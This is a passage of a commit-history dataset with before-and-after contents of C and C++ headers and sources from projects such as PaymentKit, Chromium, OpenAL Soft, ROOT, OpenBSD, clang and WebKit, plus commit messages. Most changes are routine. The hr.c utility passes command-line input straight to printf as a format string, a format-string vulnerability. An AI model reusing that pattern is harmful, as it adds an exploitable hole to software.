CardNumber.h\n\/\/  PKPayment Example\n\/\/\n\/\/  Created by Alex MacCaw on 1\/22\/13.\n\/\/  Copyright (c) 2013 Stripe. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"PKCardType.h\"\n\n@interface PKCardNumber : NSObject\n\n@property (nonatomic, readonly) PKCardType cardType;\n@property (nonatomic, readonly) NSString * last4;\n@property (nonatomic, readonly) NSString * lastGroup;\n@property (nonatomic, readonly) NSString * string;\n@property (nonatomic, readonly) NSString * formattedString;\n@property (nonatomic, readonly) NSString * formattedStringWithTrail;\n\n@property (nonatomic, readonly, getter = isValid) BOOL valid;\n@property (nonatomic, readonly, getter = isValidLength) BOOL validLength;\n@property (nonatomic, readonly, getter = isValidLuhn) BOOL validLuhn;\n@property (nonatomic, readonly, getter = isPartiallyValid) BOOL partiallyValid;\n\n+ (id) cardNumberWithString:(NSString *)string;\n- (id) initWithString:(NSString *)string;\n\n@end\n","subject":"Make validity booleans properties as well","message":"Make validity booleans properties as well\n","lang":"C","license":"mit","repos":"onevcat\/PaymentKit,loudnate\/PaymentKit,tictail\/TICPaymentKit,spinlister\/PaymentKit,RidePal\/PaymentKit,loudnate\/PaymentKit,mobitar\/PaymentKit,oanaBan\/PaymentKit,jonathanrauch\/PaymentKit,vikas100\/Vikas,tictail\/TICPaymentKit,jonathanrauch\/PaymentKit,zsw12abc\/PaymentKit,bobbyski\/PaymentKit,stripe\/PaymentKit,prolificinteractive\/PaymentKit,ichu501\/PaymentKit,andris-zalitis\/PaymentKit,baoquanjing\/newss,spinlister\/PaymentKit,vikas100\/Vikas,bobbyski\/PaymentKit,Dwellers\/PaymentKit,insanoid\/PaymentKit,Dwellers\/PaymentKit,mobitar\/PaymentKit,baoquanjing\/newss,RidePal\/PaymentKit,triposo\/PaymentKit,oanaBan\/PaymentKit,zsw12abc\/PaymentKit,ernestopino\/PaymentKit,ernestopino\/PaymentKit,andris-zalitis\/PaymentKit,heetch\/PaymentKit,heetch\/PaymentKit"}
{"commit":"3c2fc5241d63758ffd4e4c072df9742c8dda3595","old_file":"chrome\/gpu\/gpu_config.h","new_file":"chrome\/gpu\/gpu_config.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_GPU_GPU_CONFIG_H_\n#define CHROME_GPU_GPU_CONFIG_H_\n\n\/\/ This file declares common preprocessor configuration for the GPU process.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_LINUX) && !defined(ARCH_CPU_X86)\n\n\/\/ Only define GLX support for Intel CPUs for now until we can get the\n\/\/ proper dependencies and build setup for ARM.\n#define GPU_USE_GLX\n\n#endif\n\n#endif  \/\/ CHROME_GPU_GPU_CONFIG_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_GPU_GPU_CONFIG_H_\n#define CHROME_GPU_GPU_CONFIG_H_\n\n\/\/ This file declares common preprocessor configuration for the GPU process.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_LINUX) && defined(ARCH_CPU_X86)\n\n\/\/ Only define GLX support for Intel CPUs for now until we can get the\n\/\/ proper dependencies and build setup for ARM.\n#define GPU_USE_GLX\n\n#endif\n\n#endif  \/\/ CHROME_GPU_GPU_CONFIG_H_\n","subject":"Fix stupid error for Linux build.","message":"Fix stupid error for Linux build.\n\nTEST=none\nBUG=none\nReview URL: http:\/\/codereview.chromium.org\/555096\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@37093 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"4f81bce800c91bf0676cdff4267ce474d88ebf5a","old_file":"OpenAL32\/Include\/alThunk.h","new_file":"OpenAL32\/Include\/alThunk.h","old_contents":"#ifndef _AL_THUNK_H_\n#define _AL_THUNK_H_\n\n#include \"config.h\"\n\n#include \"AL\/al.h\"\n#include \"AL\/alc.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid alThunkInit(void);\nvoid alThunkExit(void);\nALuint alThunkAddEntry(ALvoid * ptr);\nvoid alThunkRemoveEntry(ALuint index);\nALvoid *alThunkLookupEntry(ALuint index);\n\n#if (SIZEOF_VOIDP > SIZEOF_UINT)\n\n#define ALTHUNK_INIT()          alThunkInit()\n#define ALTHUNK_EXIT()          alThunkExit()\n#define ALTHUNK_ADDENTRY(p)     alThunkAddEntry(p)\n#define ALTHUNK_REMOVEENTRY(i)  alThunkRemoveEntry(i)\n#define ALTHUNK_LOOKUPENTRY(i)  alThunkLookupEntry(i)\n\n#else\n\n#define ALTHUNK_INIT()\n#define ALTHUNK_EXIT()\n#define ALTHUNK_ADDENTRY(p)     ((ALuint)p)\n#define ALTHUNK_REMOVEENTRY(i)\n#define ALTHUNK_LOOKUPENTRY(i)  ((ALvoid*)(i))\n\n#endif \/\/ (SIZEOF_VOIDP > SIZEOF_INT)\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/\/_AL_THUNK_H_\n\n","new_contents":"#ifndef _AL_THUNK_H_\n#define _AL_THUNK_H_\n\n#include \"config.h\"\n\n#include \"AL\/al.h\"\n#include \"AL\/alc.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid alThunkInit(void);\nvoid alThunkExit(void);\nALuint alThunkAddEntry(ALvoid *ptr);\nvoid alThunkRemoveEntry(ALuint index);\nALvoid *alThunkLookupEntry(ALuint index);\n\n#if (SIZEOF_VOIDP > SIZEOF_UINT)\n\n#define ALTHUNK_INIT()          alThunkInit()\n#define ALTHUNK_EXIT()          alThunkExit()\n#define ALTHUNK_ADDENTRY(p)     alThunkAddEntry(p)\n#define ALTHUNK_REMOVEENTRY(i)  alThunkRemoveEntry(i)\n#define ALTHUNK_LOOKUPENTRY(i)  alThunkLookupEntry(i)\n\n#else\n\n#define ALTHUNK_INIT()\n#define ALTHUNK_EXIT()\n#define ALTHUNK_ADDENTRY(p)     ((ALuint)p)\n#define ALTHUNK_REMOVEENTRY(i)  ((ALvoid)i)\n#define ALTHUNK_LOOKUPENTRY(i)  ((ALvoid*)(i))\n\n#endif \/\/ (SIZEOF_VOIDP > SIZEOF_INT)\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/\/_AL_THUNK_H_\n\n","subject":"Improve a macro to reference its parameter","message":"Improve a macro to reference its parameter\n","lang":"C","license":"lgpl-2.1","repos":"alexxvk\/openal-soft,Wemersive\/openal-soft,soundsrc\/openal-soft,aaronmjacobs\/openal-soft,EddieRingle\/openal-soft,aaronmjacobs\/openal-soft,mmozeiko\/OpenAL-Soft,mmozeiko\/OpenAL-Soft,AerialX\/openal-soft-android,irungentoo\/openal-soft-tox,arkana-fts\/openal-soft,soundsrc\/openal-soft,EddieRingle\/openal-soft,BeamNG\/openal-soft,rryan\/openal-soft,jims\/openal-soft,alexxvk\/openal-soft,rryan\/openal-soft,cambridgehackers\/klaatu-openal-soft,arkana-fts\/openal-soft,irungentoo\/openal-soft-tox,franklixuefei\/openal-soft,cambridgehackers\/klaatu-openal-soft,dapetcu21\/openal-soft,jims\/openal-soft,cambridgehackers\/klaatu-openal-soft,BeamNG\/openal-soft,Wemersive\/openal-soft,franklixuefei\/openal-soft"}
{"commit":"e8323b47a5feb3aad3dc68e1cce892808391ca57","old_file":"roofit\/histfactory\/inc\/RooStats\/HistFactory\/HistFactoryException.h","new_file":"roofit\/histfactory\/inc\/RooStats\/HistFactory\/HistFactoryException.h","old_contents":"\/\/ @(#)root\/roostats:$Id$\n\/\/ Author: George Lewis, Kyle Cranmer\n\/*************************************************************************\n * Copyright (C) 1995-2008, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n\n#ifndef HISTFACTORY_EXCEPTION\n#define HISTFACTORY_EXCEPTION\n\n#include <iostream>\n#include <exception>\n\n\nnamespace RooStats{\n  namespace HistFactory{\n\n    class hf_exc: public std::exception\n    {\n      virtual const char* what() const noexcept\n      {\n        return \"HistFactory - Exception\";\n      }\n    };\n\n  }\n}\n\n\/\/static hf_exc bad_hf;\n\n#endif\n","new_contents":"\/\/ @(#)root\/roostats:$Id$\n\/\/ Author: George Lewis, Kyle Cranmer\n\/*************************************************************************\n * Copyright (C) 1995-2008, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n\n#ifndef HISTFACTORY_EXCEPTION\n#define HISTFACTORY_EXCEPTION\n\n#include <exception>\n#include <string>\n\n\nnamespace RooStats{\n  namespace HistFactory{\n\n    class hf_exc: public std::exception\n    {\n    public:\n      hf_exc(std::string message = \"\") : _message(\"HistFactory - Exception \" + message) { }\n\n      virtual const char* what() const noexcept\n      {\n        return _message.c_str();\n      }\n\n    private:\n      const std::string _message;\n    };\n\n  }\n}\n\n#endif\n","subject":"Allow for messages in HistFactory exceptions.","message":"[HF] Allow for messages in HistFactory exceptions.\n","lang":"C","license":"lgpl-2.1","repos":"olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root"}
{"commit":"e5666f371e863ac73d8fa7c15bef9c9ba0359b82","old_file":"draft\/zmq42draft.h","new_file":"draft\/zmq42draft.h","old_contents":"#if ZMQ_VERSION_MINOR == 2\n#ifdef ZMQ_BUILD_DRAFT_API\n#define ZMQ42HASDRAFT\n#endif\n#endif\n\n#ifndef ZMQ42HASDRAFT\n#define ZMQ_SERVER -12\n#define ZMQ_CLIENT -13\n#define ZMQ_RADIO -14\n#define ZMQ_DISH -15\n#define ZMQ_GATHER -16\n#define ZMQ_SCATTER -17\n#define ZMQ_DGRAM -18\n#endif\n","new_contents":"#if ZMQ_VERSION_MINOR >= 2\n#ifdef ZMQ_BUILD_DRAFT_API\n#define ZMQ42HASDRAFT\n#endif\n#endif\n\n#ifndef ZMQ42HASDRAFT\n#define ZMQ_SERVER -12\n#define ZMQ_CLIENT -13\n#define ZMQ_RADIO -14\n#define ZMQ_DISH -15\n#define ZMQ_GATHER -16\n#define ZMQ_SCATTER -17\n#define ZMQ_DGRAM -18\n#endif\n","subject":"Make draft compile with ZeroMQ 4.3.0","message":"Make draft compile with ZeroMQ 4.3.0\n","lang":"C","license":"bsd-2-clause","repos":"pebbe\/zmq4,pebbe\/zmq4"}
{"commit":"a804609334035658ed74f5e0664dd4c380e68955","old_file":"bin\/src\/hr.c","new_file":"bin\/src\/hr.c","old_contents":"\/**************************************************\\\n* A port of LuRsT's hr to C                        *\n* Sam Stuewe (C) 2014 Licensed under the terms of  *\n* the GNU Public License version 2                 *\n\\**************************************************\/\n\n\/\/ Libraries \/\/\n#include <stdio.h>\n#include <string.h>\n#include <sys\/ioctl.h>\n\n\/\/ Main Function \/\/\nint main (int argc, char * * argv) {\n    struct winsize w;\n    ioctl(0, TIOCGWINSZ, &w);\n    int COLS;\n\n    if ( w.ws_col <= 0 ) {\n        COLS = 80;\n    } else {\n        COLS = w.ws_col;\n    }\n\n    if ( argc <= 1 ) {\n        for ( int i = 0; i < COLS; i ++ ) {\n            printf(\"#\");\n        } printf(\"\\n\");\n    } else {\n        for ( int i = 1; i < argc; i ++ ) {\n            for ( int j = 0; j < (COLS\/strlen(argv[i])); j ++ ) {\n                printf(argv[i]);\n            } printf(\"\\n\");\n        }\n    } return 0;\n}\n\n\/\/ vim: set tabstop=4 shiftwidth=4 expandtab:\n","new_contents":"\/**************************************************\\\n* A port of LuRsT's hr to C                        *\n* Sam Stuewe (C) 2014 Licensed under the terms of  *\n* the GNU Public License version 2                 *\n\\**************************************************\/\n\n\/\/ Libraries \/\/\n#include <stdio.h>\n#include <string.h>\n#include <sys\/ioctl.h>\n\n\/\/ Main Function \/\/\nint \nmain (int argc, char * argv []) {\n\n    struct winsize w;\n    ioctl(0, TIOCGWINSZ, &w);\n    int COLS = ( w.ws_col <= 0 ? 80 : w.ws_col);\n\n    if ( argc <= 1 ) {\n        for ( int i = 0; i < COLS; i ++ ) {\n            printf(\"#\");\n        } printf(\"\\n\");\n    } else {\n        for ( int i = 1; i < argc; i ++ ) {\n            for ( int j = 0; j < (COLS\/strlen(argv[i])); j ++ ) {\n                printf(argv[i]);\n            } printf(\"\\n\");\n        }\n    } return 0;\n}\n\n\/\/ vim: set tabstop=4 shiftwidth=4 expandtab:\n","subject":"Update for style and simplicity","message":"Update for style and simplicity\n","lang":"C","license":"unlicense","repos":"HalosGhost\/.dotfiles,HalosGhost\/.dotfiles"}
{"commit":"1f561bba70d0746f0b474f39fad689ae7d678517","old_file":"arch\/sgi\/include\/vmparam.h","new_file":"arch\/sgi\/include\/vmparam.h","old_contents":"\/*\t$OpenBSD: vmparam.h,v 1.3 2009\/05\/08 18:42:04 miod Exp $ *\/\n\n#ifndef _SGI_VMPARAM_H_\n#define _SGI_VMPARAM_H_\n\n#define\tVM_PHYSSEG_MAX\t32\t\/* Max number of physical memory segments *\/\n\n#define\tVM_NFREELIST\t\t2\n#define\tVM_FREELIST_DMA32\t1\t\/* memory under 2GB suitable for DMA *\/\n\n#include <mips64\/vmparam.h>\n\n#endif\t\/* _SGI_VMPARAM_H_ *\/\n","new_contents":"\/*\t$OpenBSD: vmparam.h,v 1.4 2009\/10\/14 20:18:26 miod Exp $ *\/\n\/* public domain *\/\n#ifndef _SGI_VMPARAM_H_\n#define _SGI_VMPARAM_H_\n\n#define\tVM_PHYSSEG_MAX\t32\t\/* Max number of physical memory segments *\/\n\n\/*\n * On Origin and Octane families, DMA to 32-bit PCI devices is restricted.\n *\n * Systems with physical memory after the 2GB boundary needs to ensure\n * memory which may used for DMA transfers is allocated from the low\n * memory range.\n *\n * Other systems, like the O2, do not have such a restriction, but can not\n * have more than 2GB of physical memory, so this doesn't affect them.\n *\/\n\n#define\tVM_NFREELIST\t\t2\n#define\tVM_FREELIST_DMA32\t1\t\/* memory suitable for 32-bit DMA *\/\n\n#include <mips64\/vmparam.h>\n\n#endif\t\/* _SGI_VMPARAM_H_ *\/\n","subject":"Add some comments to explain why the DMA32 physseg is really 2**31 bytes long. Prompted by deraadt@ long ago.","message":"Add some comments to explain why the DMA32 physseg is really 2**31 bytes\nlong. Prompted by deraadt@ long ago.\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"64cdc50fbcc47cbcb957111ff6637e65c5b5f525","old_file":"config.def.h","new_file":"config.def.h","old_contents":"\/* See LICENSE file for copyright and license details. *\/\n\n\/* Notification, remove DNOTIFY in config.mk if you don't want it *\/\nstatic char *notifycmd = \"\"; \/* Uses given command if not compiled by DNOTIFY *\/\nstatic char *notifyext = \"\"; \/* Notify with extra command (eg. play an alarm) *\/\n\n\/*\n * This is the array which defines all the timer that will be used.\n * It will be repeated after all of it is executed.\n *\/\nstatic Timers timers[] = {\n\t\/* timer(s)  comment *\/\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{     1200,  \"Time to take a nap!\"   },\n};\n","new_contents":"\/* See LICENSE file for copyright and license details. *\/\n\n\/* Notification, remove DNOTIFY in config.mk if you don't want it *\/\nstatic char *notifycmd = \"\"; \/* Uses given command if not compiled by DNOTIFY *\/\nstatic char *notifyext = \"\"; \/* Notify with extra command (eg. play an alarm) *\/\n\n\/*\n * This is the array which defines all the timer that will be used.\n * It will be repeated after all of it is executed.\n *\/\nstatic Timers timers[] = {\n\t\/* timer(s)  comment *\/\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      300,  \"Time to start resting!\"},\n\t{     1500,  \"Time to start working!\"},\n\t{      900,  \"Time to take a nap!\"   },\n};\n","subject":"Reduce nap time to 15 minutes as mentioned in docs","message":"Reduce nap time to 15 minutes as mentioned in docs","lang":"C","license":"isc","repos":"pickfire\/spt,pickfire\/spt"}
{"commit":"a71d3c65375114146bb515b31820c5bf5d670128","old_file":"test\/CodeGen\/builtins-arm.c","new_file":"test\/CodeGen\/builtins-arm.c","old_contents":"\/\/ RUN: %clang_cc1 -triple thumbv7-eabi -target-cpu cortex-a8 -O3 -emit-llvm -o %t %s\n\nvoid *f0()\n{\n  return __builtin_thread_pointer();\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -Wall -Werror -triple thumbv7-eabi -target-cpu cortex-a8 -O3 -emit-llvm -o - %s | FileCheck %s\n\nvoid *f0()\n{\n  return __builtin_thread_pointer();\n}\n\nvoid f1(char *a, char *b) {\n\t__clear_cache(a,b);\n}\n\n\/\/ CHECK: call void @__clear_cache\n","subject":"Add a test to the previous commit.","message":"Add a test to the previous commit.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@105596 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"28bfcfabf1185f197c49f21abc4b71629cfebcec","old_file":"test\/test_parser_terminal.c","new_file":"test\/test_parser_terminal.c","old_contents":"#include \"test_parser_p.h\"\n\nvoid terminal_success(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"HelloWorld\"),\n    rule_init(\"HelloWorld\",\n      terminal(\"hello world\")\n    ), 1\n  );\n\n  parse_t *result = parse(\"hello world\", grammar);\n  assert_int_equal(result->length, 11);\n  assert_int_equal(result->start, 0);\n\n  assert_int_equal(result->n_children, 1);\n  assert_int_equal(result->children[0].n_children, 0);\n}\n\nvoid terminal_failure(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"HelloWorld\"),\n    rule_init(\"HelloWorld\",\n      terminal(\"hello world\")\n    ), 1\n  );\n\n  parse_t *result = parse(\"nope\", grammar);\n  assert_null(result);\n}\n","new_contents":"#include \"test_parser_p.h\"\n\nvoid terminal_success(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"HelloWorld\"),\n    rule_init(\"HelloWorld\",\n      terminal(\"hello world\")\n    ), 1\n  );\n\n  parse_result_t *result = parse(\"hello world\", grammar);\n  assert_non_null(result);\n  assert_true(is_success(result));\n\n  parse_t *suc = result->data.result;\n  assert_int_equal(suc->length, 11);\n  assert_int_equal(suc->start, 0);\n\n  assert_int_equal(suc->n_children, 1);\n  assert_int_equal(suc->children[0].n_children, 0);\n}\n\nvoid terminal_failure(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"HelloWorld\"),\n    rule_init(\"HelloWorld\",\n      terminal(\"hello world\")\n    ), 1\n  );\n\n  parse_result_t *result = parse(\"nope\", grammar);\n  assert_non_null(result);\n  assert_true(is_error(result));\n}\n","subject":"Use new api for terminal tests","message":"Use new api for terminal tests\n","lang":"C","license":"mit","repos":"Baltoli\/peggo,Baltoli\/peggo"}
{"commit":"771cb01c0311688f00593cc2a309e32afdbd4b40","old_file":"benchmark\/timer.h","new_file":"benchmark\/timer.h","old_contents":"#include <time.h>\n\nclock_t calc_time0,calc_time1;\ndouble calc_time;\n#define TIME_ON  calc_time0=clock();\n#define TIME_OFF(msg) calc_time1=clock();                    \\\n  calc_time=(double)(calc_time1-calc_time0)\/CLOCKS_PER_SEC;  \\\n  std::cout<<msg<<\": iterations=\"<<i                          \\\n      <<\" CPU Time=\"<<std::fixed<<calc_time                              \\\n      <<\" iter\/s=\"<<i\/calc_time<<std::endl<<std::flush;\n\n","new_contents":"#include <time.h>\n#include <sstream>\n#include <iostream>\n\nclock_t calc_time0,calc_time1;\ndouble calc_time;\n\nvoid printTime(const std::string& msg, long long iterations, double iterPerSec) {\n    std::stringstream ss;\n    ss << msg;\n    while (ss.tellp() < 30) {\n        ss << ' ';\n    }\n    ss << \" iterations=\" << iterations;\n    while (ss.tellp() < 60) {\n        ss << ' ';\n    }\n    ss <<\" CPU Time=\"<<std::fixed<<calc_time;\n    while (ss.tellp() < 80) {\n        ss << ' ';\n    }\n    ss <<\" iter\/s=\"<<iterPerSec<<std::endl;\n    std::cout << ss.str() << std::flush;\n}\n\n\n#define TIME_ON  calc_time0=clock();\n#define TIME_OFF(msg) calc_time1=clock();                    \\\n  calc_time=(double)(calc_time1-calc_time0)\/CLOCKS_PER_SEC;  \\\n  printTime(msg, i, i\/calc_time);\n\n","subject":"Print times in fixed columns.","message":"Print times in fixed columns.\n\nMakes it easier to compare.\n","lang":"C","license":"lgpl-2.1","repos":"worldforge\/atlas-cpp,worldforge\/atlas-cpp,worldforge\/atlas-cpp,worldforge\/atlas-cpp,worldforge\/atlas-cpp,worldforge\/atlas-cpp"}
{"commit":"6c39b5e3015535d249699cf4c7dd9e3bfa9ed550","old_file":"check\/tests\/check_check_main.c","new_file":"check\/tests\/check_check_main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <check.h>\n#include \"check_check.h\"\n\nint main (void)\n{\n  int n;\n  SRunner *sr;\n\n  fork_setup();\n  setup_fixture();\n  sr = srunner_create (make_master_suite());\n  srunner_add_suite(sr, make_list_suite());\n  srunner_add_suite(sr, make_msg_suite());\n  srunner_add_suite(sr, make_log_suite());\n  srunner_add_suite(sr, make_limit_suite());\n  srunner_add_suite(sr, make_fork_suite());\n  srunner_add_suite(sr, make_fixture_suite());\n  srunner_add_suite(sr, make_pack_suite());\n  \n  setup();\n  printf (\"Ran %d tests in subordinate suite\\n\", sub_nfailed);\n  srunner_run_all (sr, CK_NORMAL);\n  cleanup();\n  fork_teardown();\n  teardown_fixture();\n  n = srunner_ntests_failed(sr);\n  srunner_free(sr);\n  return (n == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <check.h>\n#include \"check_check.h\"\n\nint main (void)\n{\n  int n;\n  SRunner *sr;\n\n  fork_setup();\n  setup_fixture();\n  sr = srunner_create (make_master_suite());\n  srunner_add_suite(sr, make_list_suite());\n  srunner_add_suite(sr, make_msg_suite());\n  srunner_add_suite(sr, make_log_suite());\n  srunner_add_suite(sr, make_limit_suite());\n  srunner_add_suite(sr, make_fork_suite());\n  srunner_add_suite(sr, make_fixture_suite());\n  srunner_add_suite(sr, make_pack_suite());\n  \n  setup();\n  printf (\"Ran %d tests in subordinate suite\\n\", sub_ntests);\n  srunner_run_all (sr, CK_NORMAL);\n  cleanup();\n  fork_teardown();\n  teardown_fixture();\n  n = srunner_ntests_failed(sr);\n  srunner_free(sr);\n  return (n == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","subject":"Use correct variable for number of tests","message":"Use correct variable for number of tests\n\n\ngit-svn-id: caee63afe878fe2ec7dbba394a86c9654d9110ca@230 64e312b2-a51f-0410-8e61-82d0ca0eb02a\n","lang":"C","license":"lgpl-2.1","repos":"dashaomai\/check-code,dashaomai\/check-code,svn2github\/check,svn2github\/check,svn2github\/check,dashaomai\/check-code,svn2github\/check,dashaomai\/check-code,svn2github\/check"}
{"commit":"a0b563f277f4fe56bc8af372777301d20c5a419b","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#ifndef _MAIN_H_\n#define _MAIN_H_\n\n#define PROGRAM_MAJOR_VERSION 0\n#define PROGRAM_MINOR_VERSION 1\n#define PROGRAM_PATCH_VERSION 1\n\nextern int quit;\n\n#endif \/* _MAIN_H_ *\/\n","new_contents":"#ifndef _MAIN_H_\n#define _MAIN_H_\n\n#define PROGRAM_MAJOR_VERSION 0\n#define PROGRAM_MINOR_VERSION 2\n#define PROGRAM_PATCH_VERSION 0\n\nextern int quit;\n\n#endif \/* _MAIN_H_ *\/\n","subject":"Upgrade version number to 0.2.0","message":"Upgrade version number to 0.2.0\n","lang":"C","license":"mit","repos":"zear\/shisen-seki,zear\/shisen-seki"}
{"commit":"0ac24673a4e719e6cb5e1adb2f72363d422b9f21","old_file":"JavaScriptCore\/wtf\/MathExtras.h","new_file":"JavaScriptCore\/wtf\/MathExtras.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2006 Apple Computer, Inc.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n *\/\n\n#include <math.h>\n\n#if PLATFORM(WIN)\n\ninline float roundf(float num)\n{\n    return num > 0 ? floorf(num + 0.5f) : ceilf(num - 0.5f);\n}\n\ninline long lroundf(float num)\n{\n    return num > 0 ? num + 0.5f : ceilf(num - 0.5f);\n}\n\n#endif\n","subject":"Add mathextras.h to wtf to give win32 roundf\/lroundf support.","message":"Add mathextras.h to wtf to give win32 roundf\/lroundf support.\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@14506 bbb929c8-8fbe-4397-9dbb-9b2b20218538","lang":"C","license":"bsd-3-clause","repos":"Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,XiaosongWei\/blink-crosswalk,smishenk\/blink-crosswalk,ondra-novak\/blink,nwjs\/blink,smishenk\/blink-crosswalk,Pluto-tv\/blink-crosswalk,kurli\/blink-crosswalk,modulexcite\/blink,nwjs\/blink,Bysmyyr\/blink-crosswalk,ondra-novak\/blink,nwjs\/blink,crosswalk-project\/blink-crosswalk-efl,Bysmyyr\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Pluto-tv\/blink-crosswalk,ondra-novak\/blink,XiaosongWei\/blink-crosswalk,kurli\/blink-crosswalk,Pluto-tv\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,ondra-novak\/blink,Pluto-tv\/blink-crosswalk,kurli\/blink-crosswalk,Pluto-tv\/blink-crosswalk,Pluto-tv\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,modulexcite\/blink,smishenk\/blink-crosswalk,smishenk\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,modulexcite\/blink,nwjs\/blink,jtg-gg\/blink,smishenk\/blink-crosswalk,jtg-gg\/blink,Bysmyyr\/blink-crosswalk,modulexcite\/blink,ondra-novak\/blink,Bysmyyr\/blink-crosswalk,hgl888\/blink-crosswalk-efl,kurli\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,crosswalk-project\/blink-crosswalk-efl,jtg-gg\/blink,jtg-gg\/blink,hgl888\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,XiaosongWei\/blink-crosswalk,smishenk\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,modulexcite\/blink,smishenk\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,jtg-gg\/blink,hgl888\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,modulexcite\/blink,kurli\/blink-crosswalk,jtg-gg\/blink,Bysmyyr\/blink-crosswalk,jtg-gg\/blink,hgl888\/blink-crosswalk-efl,modulexcite\/blink,kurli\/blink-crosswalk,ondra-novak\/blink,hgl888\/blink-crosswalk-efl,XiaosongWei\/blink-crosswalk,smishenk\/blink-crosswalk,crosswalk